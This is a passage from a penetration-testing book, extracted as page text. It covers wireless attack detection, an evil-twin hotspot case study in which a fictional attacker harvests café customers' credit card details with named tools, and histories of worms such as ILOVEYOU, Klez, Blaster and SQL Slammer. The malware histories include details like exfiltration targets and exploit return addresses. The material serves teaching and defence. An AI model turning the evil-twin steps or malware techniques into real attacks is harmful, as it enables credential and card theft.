using a \nwireless IDS tool such as AirDefense (http://www.airdefense.net) or Airespace (http://\nwww.airespace.com/index.php).\nRogue Access Points\nDuring the authentication process, mutual authentication between the client and the AP is \nnot required even if shared-key authentication is implemented. The result is that although \nthe AP authenticates the client, the client has no way of authenticating the AP. \nA rogue AP might be one an ignorant employee brings from home and associates with your \nwireless infrastructure. Or it might be one an attacker places on your network and \nmasquerades as a genuine AP. In the first case, the rogue AP is likely a hole in your firewall \nsecurity, which means it is wide open to attack. More worryingly in the second case, clients \nwho are already authenticated on your genuine network might inadvertently associate with \nthe rogue AP, giving an attacker access to the unsuspecting client. Tools such as AirMagnet \n(http://www.airmagnet.com) and AiroPeek (http://www.wildpackets.com/products/\nairopeek_nx) are able to detect and block such rogue APs. Snort also produces Snort-\nWireless, a freeware, configurable IDS tool available on a Linux platform from http://snort-\nwireless.org/. \nMAC Address Spoofing\nIn smaller networks where cost is a factor and high-end security measures are not feasible, \nMAC address filtering can provide a measure of protection. However, MAC spoofing is a \nstraightforward process even with manufacturers of wireless cards providing built-in \nClient\nAttacker\nAP\nAuthentication Request\nAuthentication Response\nAssociation Request\nAssociation Response\nDeauthentication\n1\n2\n3\n4\nDeauthentication\n5\n6\n" }, { "page_number": 386, "text": "Detecting Wireless Attacks 359\nfunctionality to alter the hardware MAC address. Detecting an attack using a spoofed MAC \naddress is not a simple process, but you can identify such attacks by their signature. When \nyou examine normal traffic between a host and a client, you see an incrementing sequence \nnumber in each packet. When an attacker spoofs a legitimate MAC address, his packets \nshow a change in this sequence number. For more information, see http://home.jwu.edu/\njwright/papers/wlan-mac-spoof.pdf.\nUnallocated MAC Addresses\nAn attacker can evade detection on the network by manually changing a MAC address or \nusing programs such as Wellenreiter, which can generate random MAC addresses. \nHowever, the IEEE must allocate hardware manufacturers a unique 3-byte identifier for use \nas a MAC address prefix for all of their products. You can compare spoofed MAC addresses \nagainst this list; any detected anomaly can signify an attack.\nPreventing Wireless Attacks\nYou can take numerous simple measures to reduce the risk of attack. Although this chapter \nemphasized the security flaws in using WEP as a method of securing your network, if a \ncasual attacker is faced with the scenario illustrated in Figure 11-4, it is clear which AP he \nwill target first.\nFigure 11-4 NetStumbler\n" }, { "page_number": 387, "text": "360\nChapter 11: Scanning and Penetrating Wireless Networks\nProvided your network is not a specific target, these simple steps can make your AP a less \nattractive option:\n•\nDisable DHCP.\n•\nDisable broadcasting of your ESSID.\n•\nTurn on MAC filtering.\n•\nUse long WEP keys and change them frequently.\n•\nPerform regular firmware upgrades.\n•\nKeep wireless APs separate from your internal LAN.\n•\nTreat wireless users as if they were remote users coming from the Internet. Make them \nauthenticate and create possible VPN connections.\n•\nConsider using the latest wireless standards, such as WPA2, if all your devices support it. \nIf your requirement is simply to analyze and protect your home network, you can use a tool \nsuch as AirDefense Personal, which reveals potential risks with the configuration of your \nwireless network. This tool also serves as a monitor, detecting potential security risks and \nfiring alerts accordingly. Figure 11-5 shows the summary page detailing the current security \nand alert status. \nFigure 11-5 AirDefense Personal System Summary \nAnother feature of the tool is the ability to enable only the features of wireless connectivity \nthat are specifically required (see Figure 11-6). This can prevent accidental vulnerabilities \nfrom being exposed.\n" }, { "page_number": 388, "text": "Detecting Wireless Attacks 361\nFigure 11-6 AirDefense Personal Policies \nPreventing Man-in-the-Middle Attacks \nWireless networking is especially vulnerable to MITM attacks because intercepting \nwireless network traffic is so straightforward. Nevertheless, you can reduce the \nvulnerability significantly by making careful configuration decisions, such as these:\n•\nImplementing a virtual private network (VPN) with strong mutual authentication\n•\nImplementing data encryption using Secure Socket Layer (SSL) or IPSec\n•\nUsing directional antennas\n•\nLowering the broadcast range of the APs in your network\n•\nImplementing WiFi Protected Access (WPA)\nWPA uses Temporal Key Integrity Protocol (TKIP), which provides a much stronger \nencryption algorithm than WEP. WPA has two main implementations:\n•\nWPA-Personal (or PSK)—In essence, WPA-Personal works using an initial user-\ncreated preshared key (PSK), but dynamic session keys are generated using TKIP at \npreset time intervals.\n•\nWPA-Enterprise—On a larger scale, you can implement WPA-Enterprise, which \nutilizes a configured “authentication” server in place of the requirement for a PSK. \nThis might be a RADIUS server, for example, as illustrated in Figure 11-7. \n" }, { "page_number": 389, "text": "362\nChapter 11: Scanning and Penetrating Wireless Networks\nNOTE\nWPA and WPA2 use variations of the Extensible Authentication Protocol (EAP) \nmechanism to provide authentication and optionally encryption methods. You can find \nvarious implementations—with each offering differing levels of security and excellent \ndefinitions—at http://en.wikipedia.org/wiki/Extensible_Authentication_Protocol.\nFigure 11-7 RADIUS Server Authentication Using EAP\nEstablishing and Enforcing Standards for Wireless Networking\nAs with all security issues in an organization, implementing wireless networking policies \nand standards as part of your overall security management can go a long way toward \nmaintaining the security of your wireless network. \nRegulate the use of wireless equipment across your network. For example, if you deploy \nonly Cisco wireless hardware, the presence of a NETGEAR AP on your network \nimmediately alerts you to a security breach. \nEnsure that you document and standardize AP configuration. Also, carefully control \ndeployment. In this way, you can detect rogue APs more easily if they do not meet the \nstandard configuration.\nAlways assume that someone can breach your APs, and treat their integrity with caution. \nImplement a process to regularly evaluate the security of your wireless network.\nCase Study\nNOTE\nEvil twin attack: A homemade wireless AP that masquerades as a legitimate one to gather \npersonal or corporate information without the knowledge of the end user.\nAssociation\nUser Submits Login Credentials\nAccess Point Ignores Request\nand Waits for Authentication\nClient and AP\nBegin Communication\n1\nMutual Authentication Takes Place\n4\n2\n3\n5\n" }, { "page_number": 390, "text": "Case Study\n363\nThe twin of Evil Jimmy, Evil Johnny, has been spending a little time war driving, and even \nhe is surprised to discover that around 50 percent of the wireless networks he has \ndiscovered using NetStumbler are unsecured. More interestingly are the number of wireless \nhotspots appearing. There seems to be at least one new one every time he checks, and this \nhas given him a great idea. \nStep 1\nJohnny arrives at Stacey’s Bagels Inc., which has recently announced its \nwireless hotspot launch. \nStep 2\nHe turns on his laptop and enables his wireless card. Sure enough, he sees \nBagelNet appear in the list of available wireless networks, as illustrated \nin Figure 11-8. He connects to BagelNet, and when he opens a new \nbrowser window, he is presented with a login screen showing payment \noptions for the company’s wireless pay-as-you-surf service. Johnny takes \na quick screen shot of this page and heads home to brush up on his \nHTML.\nFigure 11-8 Windows Available Wireless Networks\nStep 3\nJohnny needs to configure his laptop so that he can successfully \nimpersonate the AP at Stacey’s. He is using Windows, so he needs several \ntools \n(a) First, he installs SoftAP from PCTEL (http://www.pctel.com/softap.php), \nwhich allows his laptop to function as an AP. (See Figure 11-9.)\n" }, { "page_number": 391, "text": "364\nChapter 11: Scanning and Penetrating Wireless Networks\nFigure 11-9 SoftAP Options Configuration \n(b) Next, Evil Johnny installs Airsnarf (http://airsnarf.shmoo.com/) on his \nlaptop and begins customizing a web page to replace the default \nindex.html, which Airsnarf provides by default. He has the copy of the \nlogin page from BagelNet as a template, but he is not too worried about \ngetting an exact match. Airsnarf is a utility tool that enables a rogue AP to \nbe set up. Users are fooled into believing they are connected to the genuine \nAP because Airsnarf can mimic the look and feel of the real thing. \n(c) He configures the SSID of his new AP to be BagelNet.\n(d) Johnny sets up his laptop to be a primary DNS server using TreeWalk \n(http://ntcanuck.com/DL-kN/TreeWalk.zip). This tool provides the \nfunctionality of a DNS server and ensures that he can control the website \nthat any users will see if they associate with his AP. \nStep 4\nThe following day, Johnny once again visits Stacey’s Bagels. He finds a \nquiet corner, turns on his laptop-turned-AP, and sits back with his coffee \nand a cinnamon bagel to wait.\n" }, { "page_number": 392, "text": "Summary 365\nStep 5\nBefore too long, a fellow bagel eater opens up his laptop to connect to the \nInternet. It is really a matter of luck whether the wireless device of this \ncustomer will associate with the real AP or Johnny’s, but Johnny keeps \nhis fingers crossed anyway. Sure enough, SoftAP helpfully pops up a \nmessage to let him know that a user has connected to his AP.\nStep 6\nThe user is presented with Johnny’s fake login screen and, eager to get \nonto the Internet and check his e-mail, he fills out his credit card details \nand clicks Submit. The credit card details the user just entered are written \nto a log file on Johnny’s laptop. Johnny then quickly downs his AP, \nbecause he was never planning to serve up Internet access in the first \nplace.\nIf Johnny had wanted to be a little more clever, he could have set up an Internet connection \nfor his unsuspecting users, with all of their traffic directed through his laptop/AP. However, \ncollecting some credit card details will be enough for now. After all, there is no shortage of \nopportunities.\nSummary\nIn this chapter, you learned about the dangers of wireless networks. Although wireless \nnetworks provide ease of convenience and cost, this comes at the risk of security breaches. \nWireless networks are too easily detected and WEP keys are too easily cracked. Take great \ncaution when implementing wireless networks in your environment.\nThese security concerns do not mean that you should avoid wireless networks. With the \nproper steps, you can make your wireless network secure. \nThe best method is to use a variety of security measures, such as wireless IDS tools, \nfirewalls, IPSec encryption, and 802.1x port security. When used together, these measures \ncan provide a safe wireless infrastructure in your environment.\nNOTE\nFor further information about defending against wireless network attacks, consult the \nfollowing online resources:\n• “Wireless Intrusion Detection Systems” (http://www.securityfocus.com/infocus/\n1742).\n• GlobalNet Training’s “Hands-On Wireless Defense 2-Day Course.” For more \ninformation about class availability and locations, see http://\nwww.globalnettraining.com/wireless-defense.asp.\n• “Wi-Fi Protected Access” web cast provided by the Wi-Fi Alliance, which you can \ndownload from http://www.wi-fi.org/OpenSection/protected_access_archive.asp.\n" }, { "page_number": 393, "text": "The only thing necessary for evil to succeed is for good men to do nothing.\n—Edmund Burke\n" }, { "page_number": 394, "text": "C H A P T E R 12\nUsing Trojans and \nBackdoor Applications\nViruses, Trojans, and backdoor applications are a nightmare for anyone working in the \ninformation technology (IT) field. A Trend Micro Computer World article estimated that PC \nviruses cost businesses approximately $55 billion in damages in 2003. Viruses and Trojans \nsuch as Chernobyl, I Love You, Melissa, and others wreak havoc on businesses that rely on \ntechnology to operate. \nThis chapter explores the world of Trojans, viruses, and backdoor applications. You will \nlearn about some of the more notorious viruses and about Trojan and backdoor utilities that \nmalicious hackers and penetration testers use. This chapter concludes with a discussion of \nhow to detect whether you are under attack by these malware applications and the \npreventative steps to take to safeguard your network from these types of attacks.\nTrojans, Viruses, and Backdoor Applications\nTo begin, you need to understand some basic terminology. According to the Webopedia \nonline computer dictionary (http://www.webopedia.com), a Trojan is a \ndestructive program that masquerades as a benign application. Unlike viruses, Trojans \ndo not replicate themselves, but they can be just as destructive. \nJust as the Trojan horse was a disguise to hide Greek soldiers during the Trojan war, Trojan \napplications likewise run hidden on computers, often appearing as useful utilities. Trojans \ncome in many different flavors. These include remote administration tools (RATs), which \nprovide malicious hackers with a remote shell onto a compromised host; denial-of-service \nTrojans, which launch denial-of-service attacks from a compromised host; and others. \nAlthough the purposes of each Trojan might be unique, the underlying means of operation \nis the same—to hide on a host and perform undesirable activities under the noses of \nunsuspecting users. \nAlthough the benefits of a Trojan horse application are obvious for malicious hackers, you \nmight be wondering why they are important for penetration testers. A penetration tester is \nhired to emulate a malicious hacker; therefore, he needs to be aware of the tools and \ntechniques to infiltrate a target system. One of the ways of gaining and maintaining access \non a target system is through the use of Trojan backdoor applications. This chapter \nintroduces several of these backdoor tools. \n" }, { "page_number": 395, "text": "368\nChapter 12: Using Trojans and Backdoor Applications\nViruses are another type of malware (malicious software) that are often confused with \nTrojans. Viruses attach themselves to other applications and spread to other computers. Left \nunchecked, viruses can take down entire organizations or, worse yet, bring the Internet to a \nhalt. Some of the more well-known viruses include W32/Netsky and W32/MyDoom. \nWorms, like viruses, spread from one computer to another, but unlike viruses, they do not \nrequire themselves to be attached to another application. Worms do not need to attach \nthemselves to other applications because they contain their own propagation engine. An \nexample of a deadly worm would be the SQL Slammer worm. \nBecause of the deadly nature of viruses and worms, penetration testers should not be asked \nto attempt to install viruses and worms onto the target network. However, penetration \ntesters are expected to be aware of malicious hacking techniques, including viruses and \nworms, and how to detect and prevent them.\nCommon Viruses and Worms\nThis section covers several of the more common—and deadly—viruses and worms in years \npast. New viruses and worms come out all the time, and this is by no means an exhaustive \nlist. Some of these viruses and worms are a few years old. You might be wondering why \nthese older viruses and worms are covered here if they do not pose as much of a threat today. \nIncluding coverage of these viruses and worms is important not just because of their \nnotoriety, but also because of their ingenuity. All of the viruses and worms mentioned in \nthis chapter broke the ground of how viruses and worms operate. Other viruses and worms \nare typically based off the techniques discussed in the sections that follow. \nSpecifically, this chapter addresses the following viruses and worms:\n•\nChernobyl\n•\nI Love You\n•\nMelissa\n•\nBugBear\n•\nMyDoom\n•\nW32/Klez\n•\nBlaster\n•\nSQL Slammer\n•\nSasser\nNOTE\nAll of the viruses and worms mentioned are well-known. Therefore, good anti-virus \nsoftware products can detect them. However, there is a rise in custom viruses that are being \nmade by virus construction kits. These viruses do not have signatures because they are so \n" }, { "page_number": 396, "text": "Common Viruses and Worms 369\nnew and are usually not as widespread. They can be just as deadly, however. Some popular \nvirus construction kits include the following:\n• Windows Virus Creation Kit v1.0.0\n• The Smeg Virus Construction Kit\n• Rajaat’s Tiny Flexible Mutator v1.1\n• Virus Creation Laboratory v1.0\n• Kefi’s HTML Virus Construction Kit\nNew viruses and worms come out every month. This list is by no means exhaustive, and it \ndoes not detail only the most recent viruses. Instead, it is meant to introduce you to some \nof the more ingenious and deadlier viruses and worms that have shaped the way people \nthink about protecting corporations against viruses.\nViruses and worms will continue to proliferate and infect computers. Now instant \nmessaging and cell phone worms are becoming a threat. Any time new technologies are \nreleased, malicious hackers will attempt to exploit them through viruses and worms. Anti-\nvirus software is not enough by itself because it does not protect against zero-day viruses \n(viruses for which no known signatures exist). You must also incorporate other measures, \nsuch as anomaly-based intruder detection systems. \nChernobyl\nThe Chernobyl virus is also known by the name W32.CIH.Spacefiller. (CIH stands for the \ncreator’s name, Chen Inghua.) This virus affected Windows 95/98 PCs. It does not pose \nmuch of a threat against the more popular XP systems today. \nThe Chernobyl virus is a time bomb virus. A time bomb virus or worm is a malware \nprogram that is set to go off at a specific time. For that reason, this virus might lay dormant \non a system for a long time before someone realizes that he is infected. \nIt was named the Chernobyl virus because it was set to go off on April 26, 1999 (the \nanniversary of the Chernobyl nuclear reactor explosion). Its other name, \nW32.CIH.Spacefiller, describes what this deadly virus would do to a system. This was a \nspacefiller virus, which would destroy data on a hard drive by filling it with random “space” \n(essentially overwriting the disk with nothing). \nWhat made this virus unique was its capability not only to erase data, but also to erase Flash \nmemory. Not only would your hard drive be erased (along with the master boot record), \nrendering it useless, but the Chernobyl virus also would erase your Flash memory, thus \ndamaging your motherboard. If your motherboard manufacturer did not have a means to \nrecover from this attack, you would be forced to purchase a new motherboard.\n" }, { "page_number": 397, "text": "370\nChapter 12: Using Trojans and Backdoor Applications\nI Love You\nThe “I Love You” worm goes by many names, including LoveLetter, veryfunny.vbs, \nprotect.vbs, and virus_warning.vbs. This was a VBScript worm that spread through \nMicrosoft Outlook clients and an Internet Relay Chat (IRC) program called mIRC. The \noperation of this worm is as follows:\n1 The worm begins by copying itself into the windows\\system32 directory as \nmskernel.vbs and to the Windows directory as win32dll.vbs.\n2 Next, it replaces the home page of Internet Explorer. Upon launching Internet \nExplorer, WIN_BUGFIX.exe is downloaded and run. A registry entry is added to \nHKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run so \nthat the worm is run upon the next boot.\n3 The worm checks whether a window called BAROK is running. If it is, the worm \nstops. If the window does not exist, the worm creates a program called \nWINFAT32.exe and creates an entry in \nHKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run so \nthat the program is run upon the next boot.\n4 Internet Explorer has its default home page set to about:blank (giving a blank page). \nHaving your home page unexpectedly come up blank is a key sign that you have been \ninfected with this virus.\n5 Next, the registry entries \nHKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\n\\Network\\HideSharePwds and \nHKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Polices\\\nNetwork\\DisablePwdCaching are deleted. \n6 The worm creates a new window called BAROK and runs it in memory.\n7 When an internal timer expires, the worm loads the MPR.DLL library. It calls the \nWNetEnumCachedPasswords function and sends any cached passwords it finds to \nmailme@super.net.ph. The message body of this e-mail reads, “Kindly check the \nattached LOVELETTER coming from me.” This e-mail is sent only once.\n8 The worm then goes out to all local and remote drives and erases all files it finds with \nthe extension .js, .jse, .css, .wsh, .sct, .hta, .mp3, .mp2, .jpg, and .jpeg. It creates new \nfiles with the same name but with a .vbs extension. (.vbs is the extension for Visual \nBasic scripts, which are often used to spread viruses.) \nThe end result of this virus is that its victims would have their passwords sent to the virus \nowner and have several files deleted on their network.\n" }, { "page_number": 398, "text": "Common Viruses and Worms 371\nMelissa\nThe Melissa virus was the first major Microsoft Word macro virus to make a significant \nimpact on corporations. Named after a stripper in Florida who was a favorite of the virus \ncreator, this virus was first found in a document that reportedly contained a list of passwords \nfor pornographic websites called List.doc and was stored in List.zip. This document was \nposted repeatedly on the alt.sex newsgroup. This was a classic social engineering tactic, \nwhere unsuspecting victims were lured to opening this virus under the notion that they were \ngaining access to pornographic websites. (For more on social engineering, see Chapter 4, \n“Performing Social Engineering.”) \nThis virus operates as follows:\n1 First, the virus deactivates Microsoft Word macro security.\n2 Next, it saves a new global template file.\n3 The virus then overwrites the first document it can find in its directory.\n4 If the minutes of the hour are the same as the day of the month, it inserts text into the \ncurrent active document. An example is 12:10 PM on February 10 or 8:25 AM on \nNovember 25. The generated text reads:\n“Twenty-two points, plus triple-word-score, plus fifty points for using \nall my letters. \nGame’s over. I’m outta here.\nWORD?Mellissa written by Kwyjibo\nWorks in both Word 2000 and Word 97\nWorm? Macro Virus? Word 97 Virus? Word 2000 Virus? You decide!\nWord -> Email | Word 97 <-> Word 2000 …\nit’s a new age!”\nNOTE\nMelissa’s creator went by the name Kwyjibo, which was a reference to an episode of the \ntelevision show The Simpsons. In that episode, the lead character Bart Simpson is playing \nScrabble and says, “K-W-Y-J-I-B-O Kwyjibo. Twenty-two points, plus triple-word-score, \nplus fifty-points for using all my letters. Game’s over. I’m outta here.”\n5 Melissa then reads the user’s Outlook address book and sends the virus to the first 50 \nentries it finds. The e-mail message usually contains a subject line that reads \n“Important message from ” where is the name of the person sending the \ne-mail.\n6 Melissa was not just an annoyance for end users. If a company that had 1000 \nemployees were all infected with this virus, the employees would each send out 50 e-\nmails. This would equate to the generation of 50,000 e-mails. When you multiply this \n" }, { "page_number": 399, "text": "372\nChapter 12: Using Trojans and Backdoor Applications\nby the millions of people who were infected by this virus, you realize the significant \nincrease in e-mail traffic within corporations and on the Internet. This equated to a \nsubstantial slowdown of data communications, preventing users from working.\nBugBear\nAlso called W32/BugBear.A, this was a virus that enabled others to gain access to an \ninfected system. What made the virus even more dangerous was that it had the capability \nto go out to network shares and infect other computers. \nLike most viruses, BugBear was sent via e-mail. The virus took e-mail addresses from \nprevious e-mail messages and the Outlook address book. The filename was random but \nusually contained key words like “news,” “images,” “resume,” “music,” and others that \nwould catch the attention of an unsuspecting victim. The virus came with many different \nextensions including .scr, .pif, and .exe, but the execution of the virus was the same.\nWhat made this virus damaging was that it was the first major virus to automatically \nexecute if the e-mail message was just opened or viewed in the Microsoft Outlook preview \npane. This meant that users did not even have to launch the executable; simply opening the \ne-mail message was enough to become infected.\nCAUTION\nFor this reason, you should always turn off the Microsoft Outlook preview pane and never \nopen e-mail messages that appear suspicious. Outlook 2003 is guarded from this type of \nattack because macros do not run from preview mode. \nBugBear operates as follows:\n1 The virus creates three files with randomly generated filenames. The first is an .exe \nfile that is located in the Windows startup folder. A registry entry is added to \nHKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOn\nce. The second file, also an .exe file, is located in the Windows\\System32 directory. \nThese two files make up the virus. The third file, a .dll file, is copied to the \nWindows\\System32 directory and is used as a keystroke logging tool to record \ninformation such as passwords and other sensitive information. \n2 The virus then terminates any anti-virus software or firewall program it finds running, \nsuch as Norton AntiVirus, Zone Alarm, or BlackICE.\n3 Next, BugBear records keystrokes using the .dll file it created and sends the \ninformation it gathers to 22 e-mail addresses that are hard-coded inside the virus.\n4 BugBear then opens port 36794 and listens to any commands from remote computers. \nA malicious hacker could use this port to come onto the computer and retrieve files \nand passwords, launch another attack, or delete files.\n" }, { "page_number": 400, "text": "Common Viruses and Worms 373\nNOTE\nBeware of virus hoaxes. One such hoax was the BugBear hoax, in which an e-mail was sent \ninforming users how to remove the BugBear virus. The hoax advised people to delete the \njdbgmgr.exe file, which had an icon of a teddy bear. Readers of this hoax often believed the \nadvice and deleted this file. They thought they were deleting the BugBear virus, but they \nreally were deleting Microsoft Debugger for Java. To read more about this hoax, visit the \nMicrosoft knowledgebase article Q322993 at http://support.microsoft.com/\ndefault.aspx?scid=kb;en-us;Q322993. \nMyDoom\nMyDoom, also called W32/MyDoom.A, WORM_MIMAIL.R, and W32.Novarg.A, is \nanother mass e-mail worm that comes in the form of .bat, .cmd, .pif, .scr, .zip, or .exe files \nwith a file size of 22,528 bytes. Similar to BugBear, this virus opens a backdoor for \nmalicious hackers to gain access to infected systems. MyDoom opens TCP ports 3127 \nthrough 3198.\nWhat made this virus deadly was not just the backdoor that it left open for malicious \nhackers to penetrate, but its use in launching distributed denial-of-service (DoS) attacks. All \ninfected hosts were configured to simultaneously launch a DoS attack against the SCO \nGroup website on February 1, 2004 at 16:09:18: UTC.\nTIP\nTo see open ports on a Windows computer, go to the MS-DOS shell and type netstat –an. \nThis shows all listening ports. If you see TCP ports 3127 through 3198 listening, you have \nprobably been infected with the MyDoom virus.\nThis virus has more than 35 different variants. Some variants have their own SMTP engine \nto launch e-mails, others target specific sites such as http://www.symantec.com in their DoS \nattacks, and still others are used to download viruses such as Backdoor.Nemog.B \n(W32.MyDoom.S variant).\nW32/Klez\nThis worm goes by many names, including W32/Klez, Elkern, Klaz, Kletz, I-worm, Klez, \nand W95/Klez@mm. When this worm appeared, it was the most sophisticated of its kind \n" }, { "page_number": 401, "text": "374\nChapter 12: Using Trojans and Backdoor Applications\nto date. In many ways, it was a virus within a virus, for it not only executed the Klez worm, \nbut it also unwrapped the Elkern virus. This vicious worm operates as follows:\n1 First, it copies itself to \nHKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run \nlike other worms so that it is executed when the computer starts up.\n2 It then executes ten times per second. Because it executes so rapidly, it is hard for anti-\nvirus software to remove it.\n3 Klez then attempts to close down anti-virus and firewall products.\nTIP\nSome personal firewalls such as Zone Alarm Pro detect whether anti-virus software has \nbeen shut down and alert you with a pop-up window. Because viruses are becoming smarter \nand finding ways to shut down anti-virus software programs, make sure you are running a \nhardened anti-virus software and a personal firewall system or host-based intrusion \ndetection system (IDS) to detect whether any program attempts to shut down the antivirus \nsoftware.\n4 Next, Klez copies the W32/Elkern virus to a randomly generated filename in the temp \ndirectory.\n5 Elkern is then copied to the Windows\\System32 directory as wqk.dll on Windows \n2000 and XP systems, or to the Windows\\System directory as wqk.exe. This program \nruns in its own process to prevent it from being deleted unless Klez is deleted first.\n6 Klez then copies itself to the Windows\\System32 directory as its own process so that \nit does not show as a program in the task list.\n7 Next, the worm sends an e-mail with itself as an attachment. It uses the Windows \naddress book and takes as many addresses as it can until it fills up a 4-KB buffer. If \nthe address book has less than 10 e-mail addresses, Klez generates up to 29 random \ne-mail addresses containing 3 to 9 letters, with a domain name of sina.com, \nhotmail.com, or yahoo.com.\n8 Unlike the previously discussed worms, Klez does not send the email with the From \nfield as the infected host. Instead, Klez chooses a random e-mail address from your \ninfected computer and uses that as the From field. Klez attempts to send it from an \nSMTP server of that address domain. For example, if it sends it from a Yahoo! \naccount, it attempts to send it from smtp.yahoo.com. If this fails, it goes to \nHKEY_LOCAL_USER\\Software\\Microsoft\\InternetAccountManager\\Accounts to \nuse any listed SMTP servers. \n" }, { "page_number": 402, "text": "Common Viruses and Worms 375\nThis means that if you get an e-mail with the Klez virus attached, you had better be \ncareful before blaming the sender listed in the From field. The e-mail message might \nnot have been from the person listed in the From field. \nThe subject line from this e-mail typically includes such casual phrases as “Hi,” \n“Hello,” “How are you?,” “We Want Peace,” or “Don’t Cry.” \nLater variants have become even more intelligent in their subject lines. They check the \ncurrent date of the host and compare it to a list of dates to see if it is close to any \nholidays. They then send a message such as “have a nice April Fools Day” (if near \nApril 1) or “happy good All Soul’s Day” (if near November 2).\nOne of the sneakier variants of this worm includes in the subject line a message saying \nthat the e-mail message includes a W32/Elkern Removal Tool. Unsuspecting users \nwho have heard of this worm then launch the attached file, not realizing that they just \ninfected their computer. \n9 The Klez worm then looks for open shares, sends a copy of itself to each share, and \nattempts to launch itself. It tries this repeatedly in intervals between 30 minutes and 8 \nhours, depending on the variant. \n10 Klez was a deadly virus in its attempt to leave its victims unprotected by shutting \ndown personal firewall and anti-virus software applications. Furthermore, Klez \nslowed down networks as it quickly spread through networks. Although one infected \ncomputer would not make a significant impact, having thousands of computers \ninfected within an organization would result in networks coming to a halt as this worm \nspread itself across network shares, saturating network resources.\nBlaster\nBlaster (also known as MSBlast.A) is a DoS worm that attacks the windowsupdate.com \ndomain. A catch-22 situation occurs with this worm, leaving users with little to defend \nthemselves. The Microsoft windowsupdate.com domain contains the patch to fix the \nvulnerability that this worm exploits, but because it launches an attack against the \nMicrosoft update site, users cannot get to it to download the patch.\nThe Blaster worm is a buffer overflow worm that attacks the Windows remote procedure \ncall (RPC) function and uses it to infect other computers. The Blaster worm operates as \nfollows:\n1 Like most viruses, it adds a registry entry in \nHKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run so \nthat it is executed when Windows starts. It uses various filenames depending on the \nvariant. Filenames include enbiei.exe, mslaugh.exe, mspatch.exe, teekids.exe, \npenis32.exe, and msblast.exe.\n" }, { "page_number": 403, "text": "376\nChapter 12: Using Trojans and Backdoor Applications\n2 Next, Blaster calculates the IP address of the subnet and sends data to the RPC port \n(TCP 135). If successful, it creates a hidden cmd.exe remote shell on TCP port 4444. \nIt also listens on the UDP TFTP port 69 to send the virus to any host that requests it.\n3 If the month is August or if the date is after the 15th, Blaster launches a DoS attack on \nwindowsupdate.com. \nThe worm contains the text: \n“I just want to say LOVE YOU SAN!! billgates why do you make this possible? Stop \nmaking money and fix your software!”\nSQL Slammer\nThis worm was first detected on January 25, 2003 (although rumors say it might have been \naround since January 20). According to an April 2, 2004 ZDNet article, more than 8 million \ncomputers were infected with this worm. In addition, this worm caused 5 of the 13 Internet \nroot name servers to crash. This worm, also known by the names W32.Slammer and the \nSapphire worm, doubled in size every 8.5 seconds. \nThis worm used UDP instead of TCP in its delivery. Because TCP communications require \na three-way handshake, TCP-based applications are harder to spoof. However, UDP traffic \nis easy to spoof because it has no acknowledgements, windowing, or sequence numbers to \nkeep track of. \nThe SQL Slammer worm sent itself to UDP port 1434, the port used by Microsoft SQL \nServer. It attempted to cause a buffer overflow in a function found in ssnetlib.dll, a dynamic \nlibrary loaded with the SQLServer.exe executable installed with Microsoft SQL Server \n2000 and with the Microsoft Desktop Engine (MSDE) 2000 that came with Microsoft \nOffice 2000 and Office XP.\nThe file ssnetlib.dll contains a function to provide SQL Server registry access. It takes three \nstrings and combines them to build the registry path:\n•\nSOFTWARE\\Microsoft\\MicrosoftSQLServer.\n•\nThe instance name. To indicate the beginning of the instance name, the value 0x04 is \nprepended.\n•\n\\MSSQLServer\\CurrentVersion.\nThe SQL Slammer worm sends a packet but smashes the stack on the second string by \nsending more than the allowed value. The instance name is supposed to be a maximum of \n16 bytes, but this is not checked. The new return pointer address is 0x42B0C9DC. (For \nmore on the operation of buffer overflows, see Chapter 14, “Understanding and Attempting \nBuffer Overflows.”) \nThe return address points to the JMP ESP instruction inside sqlsort.dll. It uses sqlsort.dll to \nmake calls to the LoadLibrary() and GetProcAddress() functions. These functions help \n" }, { "page_number": 404, "text": "Common Viruses and Worms 377\nSlammer gain access to WS2_32.dll and kernel32.dll. These dynamic libraries help \nSlammer get the addresses of the Socket(), SendTo(), and GetTickCount() APIs, which \nreplicate the worm.\nNext, the worm is sent to UDP 1434 to random IP addresses. What is unique about this is \nthat the worm is sent in an endless loop. This not only floods the network with the worm, \nbut it also causes CPU utilization to peak. This results in thousands of more infected hosts \nwhile launching a self-inflicted DoS attack.\nSasser\nThe Sasser worm is a deadly worm discovered in 2004 that infects Windows 2000 and XP \ncomputers. Although it cannot infect older computers running Windows 95 and 98, it can \nstill run on those computers to infect other computers. \nThe Sasser worm operates as follows:\n1 It begins by creating a file named Jobaka3l and copying itself to the Windows \ndirectory as aserve.exe. At the same time, Sasser adds itself to the Windows registry \nso that it runs at startup.\n2 Next, Sasser launches the Windows API called AbortSystemShutdown to make it \ndifficult to shut down or reboot the computer. \n3 Sasser then starts an FTP server on the infected computer and listens on TCP port \n5554. \n4 Sasser generates a random IP address and attempts to connect to the IP address on \nTCP port 445. The random IP address is typically generated as another IP address on \nthe same network as the infected host. \n5 If the TCP connection on port 445 is successful, Sasser attempts to open a remote shell \non TCP port 9996 and upload a script called cmd.ftp on the infected computer. Using \nthe FTP server on the infected computer, Sasser downloads a copy of the worm and \nnames it with a series of four or five random digits followed by _up.exe (for example, \n42151_up.exe). \n6 Next, the Local Security Authority Service (lsass.exe) is crashed, causing Windows to \nshut down. A message appears on the screen stating that lsass.exe has terminated and \nthe system will shut down. Cmd.ftp is deleted on the attacked computer, and a file \ncalled win.log is created, which lists the IP addresses of infected computers.\nSasser took an estimated 14 minutes to compromise 95 percent of all vulnerable computers \nin April 2004. You can stop Sasser by patching Windows computers, using firewalls that \nblock port 445, or using anti-virus software. Unfortunately, too few people had these \nprecautions in place at the time the worm was launched.\n" }, { "page_number": 405, "text": "378\nChapter 12: Using Trojans and Backdoor Applications\nSasser was not destructive to the individual hosts that were infected; instead, Sasser slowed \ndown Internet communications as it spread exponentially. This impacted corporations \nrelying on Internet communication for their business.\nTrojans and Backdoors \nNow that you have a history and understanding of viruses and worms, it is time to progress \nto Trojan horse and backdoor applications. Although it is important to know about viruses \nand worms when discussing how to secure the network of an 